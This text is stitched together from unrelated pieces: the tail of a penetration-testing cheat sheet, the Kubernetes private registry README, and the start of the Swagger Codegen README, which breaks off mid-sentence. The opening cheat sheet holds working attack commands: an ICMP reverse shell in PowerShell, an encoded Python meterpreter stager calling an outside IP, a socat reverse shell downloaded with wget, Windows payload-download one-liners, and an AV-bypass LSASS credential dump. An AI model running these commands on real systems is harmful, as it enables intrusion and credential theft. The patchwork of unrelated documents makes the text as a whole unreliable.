'10.10.14.42';$client = New-Object System.Net.NetworkInformation.Ping;$options = New-Object System.Net.NetworkInformation.PingOptions;$options.DontFragment = $true;$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes('pie'), $options);while($true){$comms = $client.Send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes(''), $options);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes($reply), $options);}}" </pre> Reference: https://esgeeks.com/icmpsh-shell-reverse-con-icmp/ <a name="httpproxy"></a><h3> Reverse HTTP Shell through Proxy </h3> <pre>use payload/python/meterpreter/reverse_http</pre> ![proxy2](https://user-images.githubusercontent.com/7115563/33836652-3d9c9624-de8a-11e7-9869-e18c5a28ebd7.png) ```python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnUHJveHlIYW5kbGVyJ10pCmhzPVtdCmhzLmFwcGVuZCh1bC5Qcm94eUhhbmRsZXIoeydodHRwJzonaHR0cDovLzE5Mi4xNjguMTA3LjIzMjo4MDgwJ30pKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cDovLzE3OC42Mi41OC4zNTo4MC9qOTkzQScpLnJlYWQoKSkK')))"``` Finally we set up the handler: ![proxy3](https://user-images.githubusercontent.com/7115563/33836552-fd3204ac-de89-11e7-940c-71c8ab321bf7.png) <a name="misc"></a><h2> Miscellaneous </h2> <a name="interactiveshell"></a><h3> Interactive Reverse Shell </h3> <b> Method 1 </b> Attacker: ```socat file:`tty`,raw,echo=0 TCP-L:4444``` Victim: ```wget -q http://10.10.14.16/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.16:4444``` Socat Binary: https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat <b> Method 2 </b> In reverse shell <pre> python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z </pre> In kali <pre> echo $TERM stty -a stty raw -echo fg </pre> In reverse shell <pre> reset export SHELL=bash export TERM=xterm-256color stty rows <num> columns <cols> bash </pre> <a name="jailescape"></a><h3>rbash Jail Escape</h3> <b>RequestTTY no</b> <pre>ssh -o RequestTTY=no user@ip</pre> ![ttyno](https://user-images.githubusercontent.com/7115563/45673768-dec15480-bb2b-11e8-9d50-513c925b359b.png) and the result would be: ![ttyfalse2](https://user-images.githubusercontent.com/7115563/45673773-e254db80-bb2b-11e8-911a-f0dec70936f4.png) <b>Bash --noprofile</b> <pre>ssh [email protected] -t "bash --noprofile" </pre> ![bashnoprofile](https://user-images.githubusercontent.com/7115563/45673871-1defa580-bb2c-11e8-8004-c924ad0ddb56.png) <a name="windowstransfer"></a><h3> Windows File Transfer </h3> <b>bitsadmin</b> `bitsadmin /transfer debjob /download /priority normal http://<ip>/shell.php c:\xampp\htdocs\shell.php` <b>cscript wget.vbs (code on the repo)</b> `cscript wget.vbs http://<ip>/test.txt test.txt` <b>powershell</b> `powershell -c "(new-object System.Net.WebClient).Downloadfile('http://<ip>/exploit.exe', 'C:\Windows\temp\exploit.txt')"` <b>ftp</b> client: <pre> echo open [ip] [port] > ftpscript.txt echo anonymous>> ftpscript.txt echo PASS >> ftpscript.txt echo bin >> ftpscript.txt echo get meter.exe>> ftpscript.txt echo quit >> ftpscript.txt ftp -s:ftpscript.txt </pre> server: <code>python -m pyftpdlib --port=2121 --write</code> <b>wget.exe</b> Upload to vulnerable server from kali: ` /usr/share/windows-binaries/wget.exe` `wget.exe http://<ip>/file file` <b> certutil </b> `certutil -urlcache -split -f https://<ip>/file.txt file.txt` <a name="vpnrestrict"></a><h3> Bypass VPN routing restrictions </h3> <pre>openconnect vpnXXX02.XXXX.com -u XX -s ‘vpn-slice XXX.46.0.0/16 hostname3 mantis=XXX.41.2XX.68’</pre> ![vpn1](https://user-images.githubusercontent.com/7115563/41146909-30e484de-6b05-11e8-82fb-acfc17a722a2.png) Reference: https://github.com/dlenski/vpn-slice <a name="avbypass"></a><h3>AV Bypass</h3> <b> Lsass Dump </b> <pre> certutil.exe -urlcache -f https://raw.githubusercontent.com/adon90/pentest_compilation/master/PostExplotation/mimi.vbs C:\Windows\temp\mimi.vbs cscript mimi.vbs lsass.exe pypykatz lsa minidump lsass.bin | tee -a dump1.txt </pre> References: https://esmyl.medium.com/windows-memory-dump-cheat-sheet-23f32079304a <b> SharpSploit </b> <pre> Start-Process "powershell" "unblock-file .\SharpSploit.dll" Add-Type -Path .\SharpSploit.dll [SharpSploit.Execution.Shell]::ShellExecute("regsvr32 /s /n /u /i:http://192.168.48.151:9999/QuHBoZ.sct scrobj.dll") </pre> ![sharpsploit](https://user-images.githubusercontent.com/7115563/46204073-2c07a800-c31c-11e8-9905-76c168432018.png) References: https://cobbr.io/SharpSploit.html <b> Workflow.Compiler </b> <pre> C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml </pre> ![workflow](https://user-images.githubusercontent.com/7115563/46660701-e79bc800-cbb7-11e8-8e07-49615b17d258.png) References: https://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
# Private Docker Registry in Kubernetes Kubernetes offers an optional private Docker registry addon, which you can turn on when you bring up a cluster or install later. This gives you a place to store truly private Docker images for your cluster. ## How it works The private registry runs as a `Pod` in your cluster. It does not currently support SSL or authentication, which triggers Docker's "insecure registry" logic. To work around this, we run a proxy on each node in the cluster, exposing a port onto the node (via a hostPort), which Docker accepts as "secure", since it is accessed by `localhost`. ## Turning it on Some cluster installs (e.g. GCE) support this as a cluster-birth flag. The `ENABLE_CLUSTER_REGISTRY` variable in `cluster/gce/config-default.sh` governs whether the registry is run or not. To set this flag, you can specify `KUBE_ENABLE_CLUSTER_REGISTRY=true` when running `kube-up.sh`. If your cluster does not include this flag, the following steps should work. Note that some of this is cloud-provider specific, so you may have to customize it a bit. ### Make some storage The primary job of the registry is to store data. To do that we have to decide where to store it. For cloud environments that have networked storage, we can use Kubernetes's `PersistentVolume` abstraction. The following template is expanded by `salt` in the GCE cluster turnup, but can easily be adapted to other situations: <!-- BEGIN MUNGE: EXAMPLE registry-pv.yaml.in --> ```yaml kind: PersistentVolume apiVersion: v1 metadata: name: kube-system-kube-registry-pv labels: kubernetes.io/cluster-service: "true" spec: {% if pillar.get('cluster_registry_disk_type', '') == 'gce' %} capacity: storage: {{ pillar['cluster_registry_disk_size'] }} accessModes: - ReadWriteOnce gcePersistentDisk: pdName: "{{ pillar['cluster_registry_disk_name'] }}" fsType: "ext4" {% endif %} ``` <!-- END MUNGE: EXAMPLE registry-pv.yaml.in --> If, for example, you wanted to use NFS you would just need to change the `gcePersistentDisk` block to `nfs`. See [here](../../../docs/user-guide/volumes.md) for more details on volumes. Note that in any case, the storage (in the case the GCE PersistentDisk) must be created independently - this is not something Kubernetes manages for you (yet). ### I don't want or don't have persistent storage If you are running in a place that doesn't have networked storage, or if you just want to kick the tires on this without committing to it, you can easily adapt the `ReplicationController` specification below to use a simple `emptyDir` volume instead of a `persistentVolumeClaim`. ## Claim the storage Now that the Kubernetes cluster knows that some storage exists, you can put a claim on that storage. As with the `PersistentVolume` above, you can start with the `salt` template: <!-- BEGIN MUNGE: EXAMPLE registry-pvc.yaml.in --> ```yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: kube-registry-pvc namespace: kube-system labels: kubernetes.io/cluster-service: "true" spec: accessModes: - ReadWriteOnce resources: requests: storage: {{ pillar['cluster_registry_disk_size'] }} ``` <!-- END MUNGE: EXAMPLE registry-pvc.yaml.in --> This tells Kubernetes that you want to use storage, and the `PersistentVolume` you created before will be bound to this claim (unless you have other `PersistentVolumes` in which case those might get bound instead). This claim gives you the right to use this storage until you release the claim. ## Run the registry Now we can run a Docker registry: <!-- BEGIN MUNGE: EXAMPLE registry-rc.yaml --> ```yaml apiVersion: v1 kind: ReplicationController metadata: name: kube-registry-v0 namespace: kube-system labels: k8s-app: kube-registry version: v0 kubernetes.io/cluster-service: "true" spec: replicas: 1 selector: k8s-app: kube-registry version: v0 template: metadata: labels: k8s-app: kube-registry version: v0 kubernetes.io/cluster-service: "true" spec: containers: - name: registry image: registry:2 resources: limits: cpu: 100m memory: 100Mi env: - name: REGISTRY_HTTP_ADDR value: :5000 - name: REGISTRY_STORAGE_FILESYSTEM_ROOTDIRECTORY value: /var/lib/registry volumeMounts: - name: image-store mountPath: /var/lib/registry ports: - containerPort: 5000 name: registry protocol: TCP volumes: - name: image-store persistentVolumeClaim: claimName: kube-registry-pvc ``` <!-- END MUNGE: EXAMPLE registry-rc.yaml --> ## Expose the registry in the cluster Now that we have a registry `Pod` running, we can expose it as a Service: <!-- BEGIN MUNGE: EXAMPLE registry-svc.yaml --> ```yaml apiVersion: v1 kind: Service metadata: name: kube-registry namespace: kube-system labels: k8s-app: kube-registry kubernetes.io/cluster-service: "true" kubernetes.io/name: "KubeRegistry" spec: selector: k8s-app: kube-registry ports: - name: registry port: 5000 protocol: TCP ``` <!-- END MUNGE: EXAMPLE registry-svc.yaml --> ## Expose the registry on each node Now that we have a running `Service`, we need to expose it onto each Kubernetes `Node` so that Docker will see it as `localhost`. We can load a `Pod` on every node by dropping a YAML file into the kubelet config directory (/etc/kubernetes/manifests by default). <!-- BEGIN MUNGE: EXAMPLE ../../saltbase/salt/kube-registry-proxy/kube-registry-proxy.yaml --> ```yaml apiVersion: v1 kind: Pod metadata: name: kube-registry-proxy namespace: kube-system spec: containers: - name: kube-registry-proxy image: gcr.io/google_containers/kube-registry-proxy:0.3 resources: limits: cpu: 100m memory: 50Mi env: - name: REGISTRY_HOST value: kube-registry.kube-system.svc.cluster.local - name: REGISTRY_PORT value: "5000" - name: FORWARD_PORT value: "5000" ports: - name: registry containerPort: 5000 hostPort: 5000 ``` <!-- END MUNGE: EXAMPLE ../../saltbase/salt/kube-registry-proxy/kube-registry-proxy.yaml --> This ensures that port 5000 on each node is directed to the registry `Service`. You should be able to verify that it is running by hitting port 5000 with a web browser and getting a 404 error: ```console $ curl localhost:5000 404 page not found ``` ## Using the registry To use an image hosted by this registry, simply say this in your `Pod`'s `spec.containers[].image` field: ```yaml image: localhost:5000/user/container ``` Before you can use the registry, you have to be able to get images into it, though. If you are building an image on your Kubernetes `Node`, you can spell out `localhost:5000` when you build and push. More likely, though, you are building locally and want to push to your cluster. You can use `kubectl` to set up a port-forward from your local node to a running Pod: ```console $ POD=$(kubectl get pods --namespace kube-system -l k8s-app=kube-registry \ -o template --template '{{range .items}}{{.metadata.name}} {{.status.phase}}{{"\n"}}{{end}}' \ | grep Running | head -1 | cut -f1 -d' ') $ kubectl port-forward --namespace kube-system $POD 5000:5000 & ``` Now you can build and push images on your local computer as `localhost:5000/yourname/container` and those images will be available inside your kubernetes cluster with the same name. # More Extensions - [Use GCS as storage backend](gcs/README.md) - [Enable TLS/SSL](tls/README.md) - [Enable Authentication](auth/README.md) ## Future improvements * Allow port-forwarding to a Service rather than a pod (#15180) [![Analytics](https://kubernetes-site.appspot.com/UA-36037335-10/GitHub/cluster/addons/registry/README.md?pixel)]()
# Swagger Code Generator - Master (2.3.0): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) - 3.0.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea/3.0.0.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen/tree/3.0.0.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Ada**, **Apex**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Eiffel**, **Go**, **Groovy**, **Haskell** (http-client, Servant), **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx, Google API Client Library for Java), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **R**, **Ruby**, **Rust**, **Scala** (akka, http4s, swagger-async-httpclient), **Swift** (2.x, 3.x, 4.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell** (Servant), **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework), **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Rust**, **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Maven Integration](#maven-integration) - [Gradle Integration](#gradle-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.0 (upcoming major release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/3.0.0-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.3.0 (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.3.0-SNAPSHOT/)| Jul/Aug 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) (**current stable**) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partal results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located 